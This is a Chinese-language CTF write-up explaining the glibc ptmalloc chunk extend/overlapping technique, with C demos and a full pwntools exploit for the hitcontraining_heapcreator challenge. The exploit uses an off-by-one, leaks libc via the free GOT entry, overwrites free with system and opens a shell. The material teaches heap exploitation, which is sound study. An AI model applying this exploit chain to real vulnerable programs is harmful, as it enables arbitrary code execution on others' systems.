Chunk Extend and Overlapping

努力學習的大康發表於2020-11-10

0x01 介紹

當存在可以修改chunk.pre_size或者chunk.size這兩個欄位漏洞時可以overlapping前面或後面的chunk

0x02 原理

chunk extend 技術能夠產生的原因在於 ptmalloc 在對堆 chunk 進行操作時使用的各種巨集。

獲取chunk塊大小
有兩種獲取chunk塊大小的巨集,chunksize( p )得到的是沒有inuse位的。chunksize_nomask( p )包含了Inuse位

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p) ((p)->mchunk_size)

獲取下一個chunk地址
將當前指標p+chunk大小得到下一個chunk地址

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

獲取前一個chunk大小
只有當inuse位為0時才有意義

/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

獲取前一個chunk位置
將當前指標p-前一個chunk大小得到前一個chunk地址

/* Ptr to previous physical malloc_chunk.  Only valid if prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

0x03 原理示例

其實主要包含兩種型別的overlapping,覆蓋前面chunk的前向overlapping和覆蓋後面chunk的後向overlapping。

後向extend

通過修改chunk1的size來覆蓋chunk2。利用的時候一般是

  1. 修改chunk1->size=chunk1->size+chunk2->size
  2. 然後釋放掉chunk1,這時fastbin或者unsortedbin裡面就出現了大小為chunk1->size+chunk2->size的bin
  3. 再申請chunk1->size+chunk2->size大小的chunk,就能申請到chunk1+chunk2,能夠對chunk2中的內容中的內容進行修改
#include<stdio.h>
int main()
{
    void *ptr,*ptr1;
    ptr=malloc(0x80);//分配第一個 0x80 的chunk1
    malloc(0x10); //分配第二個 0x10 的chunk2
    malloc(0x10); //防止與top chunk合併chunk3

    *(int *)((int)ptr-0x8)=(0x91+0x20);//chunk1->size+chunk2->size
    free(ptr);
    ptr1=malloc(0xa0);
}

執行完三次之後堆疊情況在這裡插入圖片描述

執行完free(ptr)之後,chunk3的inuse位已經變為了0。當再次malloc(0xa0)可以控制chunk1+chunk2的地址的內容
在這裡插入圖片描述

前向overlapping

通過修改smallbin2-> = smallbin1->size+fastbin1->size+fastbin2->size,和smallbin2->inuser=0。當free(smallbin2)時根據smallbin的unlink機制,會和前面的smallbin1進行合併。實現對前面fastbin1和fastbin2的overlapping

#include<stdio.h>

int main(void)
{
    void *ptr1,*ptr2,*ptr3,*ptr4;
    ptr1=malloc(0x80);//smallbin1
    ptr2=malloc(0x10);//fastbin1
    ptr3=malloc(0x10);//fastbin2
    ptr4=malloc(0x10);//smallbin2
    malloc(0x10);//防止與top合併
    free(ptr1);
    *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
    *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
    free(ptr4);//unlink進行前向extend
    malloc(0x150);//佔位塊
}

當執行完4次malloc和free(ptr1)之後的堆
在這裡插入圖片描述
在修改了smallbin2的pre_size和inuse位之後,實現了前向overlapping前面的兩個fastbin
在這裡插入圖片描述

0x04 hitcontraining_heapcreator

1. 檢視程式的保護

可以修改GOT表,沒有PIE
在這裡插入圖片描述
在這裡插入圖片描述

2. 檢視程式

create_heap
正常的heap create.最多建立10個chunk。

  1. 先建立0x10大小的heaparray,包含內容的size和地址指標ptr
  2. 讀入size,建立size大小堆
  3. 讀入content
struct heaparray{
int size;
int *ptr_content
}

在這裡插入圖片描述
edit_heap
edit_heap很明顯的存在off by one
在這裡插入圖片描述
show_heap
通過heaparray中的ptr來輸出字串。如果能控制這個指標就能實現任意地址的內容輸出
在這裡插入圖片描述
delete_heap
正常delete的函式,先free(ptr),再free(heaparray),最後將heaparry[idx]置0.
在這裡插入圖片描述

3. 利用方法

建立3個heaparray
可以看到建立3個heaparray之後的堆分佈情況

create(0x18,b'aaaaaaaa')#0
create(0x10,'bbbbbbbb')#1
create(0x10,'cccccccc')#2

在這裡插入圖片描述
edit heaparray1
利用off by one漏洞修改下一個堆塊的size為0x81來覆蓋後面的3個0x20的chunk。並將heaparray1釋放掉。

edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
delete(1)

0x80大小的bin包含著0x20大小的bin。可以對內容進行覆蓋
在這裡插入圖片描述
leak libc
申請0x70大小的content,此時content會申請到上圖紅框,heaparray為上圖的黃框。content可以將heaparray中的ptr覆蓋為GOT表中的free項。進行libc地址洩露

payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)
show(1)
p.recvuntil('Content : ')
free = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))

在這裡插入圖片描述
getshell
heaparray2->ptr已經指向free_got,直接修改為system函式地址,並free(heaparray1)即可getshell

edit(1,p64(system))#修改free->system
delete(0)
p.interactive()

4. exp

from pwn import *
context.arch = 'amd64'
debug = 1

if debug:
	context.log_level='debug'
	context.terminal = ['terminator','-x','sh','-c']
	p = process('./heapcreator')
	elf = ELF('./heapcreator')
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
	p = remote('node3.buuoj.cn',29313)
	elf = ELF('./heapcreator')
	libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')


def create(size,content='a'):
        p.recvuntil('Your choice :')
        p.sendline('1')
        p.recvuntil('Size of Heap :')
        p.sendline(str(size))
        p.recvuntil('Content of heap:')
        p.sendline(content)


def edit(idx,content):
        p.recvuntil('Your choice :')
        p.sendline('2')
        p.recvuntil("Index :")
        p.sendline(str(idx))
        p.recvuntil("Content of heap :")
        p.send(content)


def show(idx):
        p.recvuntil('Your choice :')
        p.sendline('3')
        p.recvuntil('Index :')
        p.sendline(str(idx))


def delete(idx):
        p.recvuntil('Your choice :')
        p.sendline('4')
        p.recvuntil("Index :")
        p.sendline(str(idx))



create(0x18,b'aaaaaaaa')#0
create(0x10,'bbbbbbbb')#1
create(0x10,'cccccccc')#2

edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
delete(1)
payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)
show(1)
p.recvuntil('Content : ')
free = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))

edit(1,p64(system))#修改free->system
delete(0)
p.interactive()

0x05 總結

利用條件:能夠修改chunk的pre_size和inuse
利用方法:覆蓋相鄰的幾個chunk,洩露內容(fd,bk或指標)或者修改內容(fd,bk或者指標)

參考連結:CTFWIKI

相關文章